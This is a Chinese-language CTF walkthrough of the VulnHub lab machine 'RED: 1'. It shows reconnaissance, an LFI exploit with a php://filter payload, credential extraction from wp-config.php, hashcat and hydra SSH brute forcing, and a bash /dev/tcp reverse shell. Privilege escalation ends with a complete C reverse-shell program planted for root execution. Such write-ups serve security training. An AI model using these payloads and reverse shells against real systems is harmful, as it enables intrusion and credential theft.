vulnhub靶場之RED: 1
準備:
攻擊機:虛擬機kali、本機win10。
靶機:RED: 1,地址我這裡設置的橋接,,下載地址://download.vulnhub.com/red/Red.ova,下載後直接VirtualBox打開,如果使用vm打開可能會存在ip問題。
涉及的知識點:hashcat碰撞、shell反彈、許可權提升、dns解析、文件包含、ssh登錄時的口令爆破。
資訊收集:
先掃描以下網段內的主機ip,獲取下靶機的ip地址。
使用nmap掃描靶機開放埠對應的具體服務資訊,命令:nmap -T4 -sV -p- -A 172.20.10.3,發現apache、wordpress版本等資訊。
使用目錄掃描工具對目錄進行掃描,這裡使用的是dirmap,命令:python dirmap.py -i //172.20.10.3/ -lcf,發現robots.txt、readme.html、license.txt、wp-admin.php等文件。
發現了一個站點地圖,嘗試進行訪問,但是訪問失敗,後面又在://172.20.10.3/wp-admin.php發現搜索下的提示,但是搜索後跳轉到://redrocks.win/?s=1仍是失敗,但是發現均是指向了域名:redrocks.win,後面又在//172.20.10.3/wp-admin.php的源碼中發現dns-prefetch,然後想到了設置dns解析。
win:打開C:\Windows\System32\drivers\etc\hosts文件,添加:172.20.10.3 redrocks.win,linux:修改/etc/hosts文件,然後訪問://redrocks.win/成功進入介面,這裡加了三個ip,第一個連手機熱點獲得的ip,後兩個連家裡網獲得的ip,在家裡搞得時候靶機崩了一次,導致靶機得資料庫一直啟動不了,只能重裝,然後ip就變了。後面兩個是後加的,開始想著手機開熱點就能搞完呢。
在主介面進入到//redrocks.win/2021/10/24/hello-world/,檢查源程式碼時發現:Maybe you should ask Mr. Miessler for help,百度了以下,發現是一個github上有這個的資訊。
查找後門文件:
那就下載下來爆破字典,然後在kali中使用gobuster進行爆破,命令:gobuster dir -u //192.168.1.13 -w CommonBackdoors-PHP.fuzz.txt,CommonBackdoors-PHP.fuzz.txt文件在SecLists-master\Discovery\Web-Content下面,注意替換地址或者使用域名進行爆破,獲取到NetworkFileManagerPHP.php文件。
返回的狀態碼為500,表示伺服器運行錯誤,因此這裡應該是需要傳遞一個參數,那就需要對參數名進行爆破,這裡繼續使用下載的字典,使用bp的爆破模組載入burp-parameter-names.txt進行爆破,burp-parameter-names.txt文件在SecLists-master\Discovery\Web-Content下面,獲得傳遞的參數名稱key(emmm 調整了key的順序,不然不知道得到什麼時候才能出來,前面一次把靶機給掃崩了…,觀察返回數據包得長度就可以)。
確定參數名稱後傳遞參數值進行測試,發現這裡是一個文件包含漏洞,//redrocks.win/NetworkFileManagerPHP.php?key=../../../../../etc/passwd。
通過偽協議先讀取下NetworkFileManagerPHP.php文件,命令://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php(讀取php文件需要使用base64進行加密),對獲得base64字元串進行解密獲得源碼資訊。
base64加密字元串:
PD9waHAKICAgJGZpbGUgPSAkX0dFVFsna2V5J107CiAgIGlmKGlzc2V0KCRmaWxlKSkKICAgewogICAgICAgaW5jbHVkZSgiJGZpbGUiKTsKICAgfQogICBlbHNlCiAgIHsKICAgICAgIGluY2x1ZGUoIk5ldHdvcmtGaWxlTWFuYWdlclBIUC5waHAiKTsKICAgfQogICAvKiBWR2hoZENCd1lYTnpkMjl5WkNCaGJHOXVaU0IzYjI0bmRDQm9aV3h3SUhsdmRTRWdTR0Z6YUdOaGRDQnpZWGx6SUhKMWJHVnpJR0Z5WlNCeWRXeGxjdz09ICovCj8
源碼資訊:
<?php
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?
源碼中得base64字元串資訊:
That password alone won't help you! Hashcat says rules are rules
讀取下wp-config.php的文件資訊,命令://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php,獲得base64加密的wp-config.php文件進行解密,獲得mysql的賬戶名和密碼:john/R3v_m4lwh3r3_k1nG!!
base64字元串資訊:
PD9waHANCi8qKg0KICogVGhlIGJhc2UgY29uZmlndXJhdGlvbiBmb3IgV29yZFByZXNzDQogKg0KICogVGhlIHdwLWNvbmZpZy5waHAgY3JlYXRpb24gc2NyaXB0IHVzZXMgdGhpcyBmaWxlIGR1cmluZyB0aGUgaW5zdGFsbGF0aW9uLg0KICogWW91IGRvbid0IGhhdmUgdG8gdXNlIHRoZSB3ZWIgc2l0ZSwgeW91IGNhbiBjb3B5IHRoaXMgZmlsZSB0byAid3AtY29uZmlnLnBocCINCiAqIGFuZCBmaWxsIGluIHRoZSB2YWx1ZXMuDQogKg0KICogVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBmb2xsb3dpbmcgY29uZmlndXJhdGlvbnM6DQogKg0KICogKiBNeVNRTCBzZXR0aW5ncw0KICogKiBTZWNyZXQga2V5cw0KICogKiBEYXRhYmFzZSB0YWJsZSBwcmVmaXgNCiAqICogQUJTUEFUSA0KICoNCiAqIEBsaW5rIGh0dHBzOi8vd29yZHByZXNzLm9yZy9zdXBwb3J0L2FydGljbGUvZWRpdGluZy13cC1jb25maWctcGhwLw0KICoNCiAqIEBwYWNrYWdlIFdvcmRQcmVzcw0KICovDQovLyAqKiBNeVNRTCBzZXR0aW5ncyAtIFlvdSBjYW4gZ2V0IHRoaXMgaW5mbyBmcm9tIHlvdXIgd2ViIGhvc3QgKiogLy8NCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICd3b3JkcHJlc3MnICk7DQoNCi8qKiBNeVNRTCBkYXRhYmFzZSB1c2VybmFtZSAqLw0KZGVmaW5lKCAnREJfVVNFUicsICdqb2huJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgcGFzc3dvcmQgKi8NCmRlZmluZSggJ0RCX1BBU1NXT1JEJywgJ1Izdl9tNGx3aDNyM19rMW5HISEnICk7DQoNCi8qKiBNeVNRTCBob3N0bmFtZSAqLw0KZGVmaW5lKCAnREJfSE9TVCcsICdsb2NhbGhvc3QnICk7DQoNCi8qKiBEYXRhYmFzZSBDaGFyc2V0IHRvIHVzZSBpbiBjcmVhdGluZyBkYXRhYmFzZSB0YWJsZXMuICovDQpkZWZpbmUoICdEQl9DSEFSU0VUJywgJ3V0ZjgnICk7DQoNCi8qKiBUaGUgRGF0YWJhc2UgQ29sbGF0ZSB0eXBlLiBEb24ndCBjaGFuZ2UgdGhpcyBpZiBpbiBkb3VidC4gKi8NCmRlZmluZSggJ0RCX0NPTExBVEUnLCAnJyApOw0KDQpkZWZpbmUoJ0ZTX01FVEhPRCcsICdkaXJlY3QnKTsNCg0KZGVmaW5lKCdXUF9TSVRFVVJMJywgJ2h0dHA6Ly9yZWRyb2Nrcy53aW4nKTsNCmRlZmluZSgnV1BfSE9NRScsICdodHRwOi8vcmVkcm9ja3Mud2luJyk7DQoNCi8qKiNAKw0KICogQXV0aGVudGljYXRpb24gdW5pcXVlIGtleXMgYW5kIHNhbHRzLg0KICoNCiAqIENoYW5nZSB0aGVzZSB0byBkaWZmZXJlbnQgdW5pcXVlIHBocmFzZXMhIFlvdSBjYW4gZ2VuZXJhdGUgdGhlc2UgdXNpbmcNCiAqIHRoZSB7QGxpbmsgaHR0cHM6Ly9hcGkud29yZHByZXNzLm9yZy9zZWNyZXQta2V5LzEuMS9zYWx0LyBXb3JkUHJlc3Mub3JnIHNlY3JldC1rZXkgc2VydmljZX0uDQogKg0KICogWW91IGNhbiBjaGFuZ2UgdGhlc2UgYXQgYW55IHBvaW50IGluIHRpbWUgdG8gaW52YWxpZGF0ZSBhbGwgZXhpc3RpbmcgY29va2llcy4NCiAqIFRoaXMgd2lsbCBmb3JjZSBhbGwgdXNlcnMgdG8gaGF2ZSB0byBsb2cgaW4gYWdhaW4uDQogKg0KICogQHNpbmNlIDIuNi4wDQogKi8NCmRlZmluZSgnQVVUSF9LRVknLCAgICAgICAgICcydXVCdmM4U081ez5Vd1E8XjVWNVtVSEJ3JU59LUJ3V3F3fD48KkhmQndKKCAkJiUsKFpiZy9qd0ZrUkhmfnZ8Jyk7DQpkZWZpbmUoJ1NFQ1VSRV9BVVRIX0tFWScsICAnYWh9PElgNTJHTDZDXkB
源碼資訊:
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link //wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'john' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define('FS_METHOD', 'direct');
define('WP_SITEURL', '//redrocks.win');
define('WP_HOME', '//redrocks.win');
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link //api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}<I`52GL6C^@
發現資料庫的帳號和密碼想起來查看/etc/passwd時存在一個john賬戶,那就使用ssh協議嘗試登錄以下,但是登錄失敗,然後又想起來了:That password alone won’t help you! Hashcat says rules are rules,那就需要使用hashcat進行碰撞了,因為這些源碼中的資訊加密方式採用的base64,因此選擇base64的規則進行碰撞,如果這裡遇到問題,可以去//www.intel.com/content/www/us/en/developer/tools/opencl-cpu-runtime/overview.html下載該文件進行解壓,然後執行./install.sh即可,命令:hashcat –stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > result.txt。
使用解出的密碼通過hydra進行ssh爆破,命令:hydra -l john -P result.txt ssh://192.168.1.2,或者超級弱口令檢查工具等均可,獲得密碼:R3v_m4lwh3r3_k1nG!!00。
使用ssh登錄靶機,帳號和密碼:john/R3v_m4lwh3r3_k1nG!!0
登錄成功時發現的問題:
1、連接每過一段時間會自動斷開,並且會修改密碼,因此我們可以自己反彈一個shell到kali上。kali開啟6688埠的監聽:nc -lvvp 6688,shell介面執行:bash -i >& /dev/tcp/192.168.1.12/6688 0>&1。
2、發現cat命令和vi命令進行了互換。
提權:
在home下發現ippsec、oxdf文件夾下的user.txt,但是均無權訪問。
輸入命令:sudo -l,查看到ippsec不需要密碼就提權的命令有time
切換ippsec賬戶,命令:sudo -u ippsec /usr/bin/time /bin/bash,然後查看user.txt文件。
因為我們的shell一直被斷開,嚴重影響我們的操作,因此我們使用ippsec賬戶反彈一個shell,這樣當原ssh連接斷開時,我們的shell就不會被斷開了,這裡注意cat和vi命令互換了,前面有提到,記得用:python3 -c ‘import pty;pty.spawn(“/bin/bash”)’升級以下。
下面這裡可以看到左側的shell已經被關閉了,但通過ippsec賬戶反彈的shell還可以正常使用。
查找下ippsec賬戶所擁有許可權的文件,發現了.git文件,命令:find / -group ippsec -type d 2>/dev/null | grep -v proc.
在.git文件里發現可執行程式rec並進行執行
查看了下目錄下文件的所有者,發現是rev文件、supersecretfileuc.c文件具有root許可權,然後想到了替換.c文件的內容,通過,c文件創建反彈root許可權的shell,然後等待rcv執行調用supersecretfileuc.c完成root許可權shell的反彈。
1、刪除rev文件和supersecretfileuc.c文件,rm rev和rm supersecretfileuc.c。
2、在攻擊機中開啟9001埠的監聽,命令:nc -lvvp 9001。
3、在靶機/var/www/wordpress/.git目錄下創建supersecretfileuc.c並寫入c語言反彈shell的腳本,命令:cat supersecretfileuc.c。
這裡等待rev自動執行即可,手動執行是不行的。
c語言的反彈shell的腳本可以在//www.revshells.com/網站生成,腳本內容如下:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 9001;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.12");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
在root下發現red留下的後門文件,刪除就可以奪回控制權了。
閑著無聊查看了一下後門文件資訊,發現就是對上面替換的supersecretfileuc.c文件進行編譯,然後並執行生成的文件。
我們的開始的shell一直被踢掉是因為kill_sess.sh文件殺掉了john賬戶的所有進程,因此我們使用ippsec賬戶創建shell的時候就不會被踢掉了。
在日誌里發現執行後門程式碼的記錄,命令:vi /var/log/syslog,也查看了定時任務:vim /etc/crontab。
使用命令:crontab -l可以查看執行後門文件的定時任務,這裡也是導致我們ssh連接斷開和返回干擾資訊的根本原因,如下: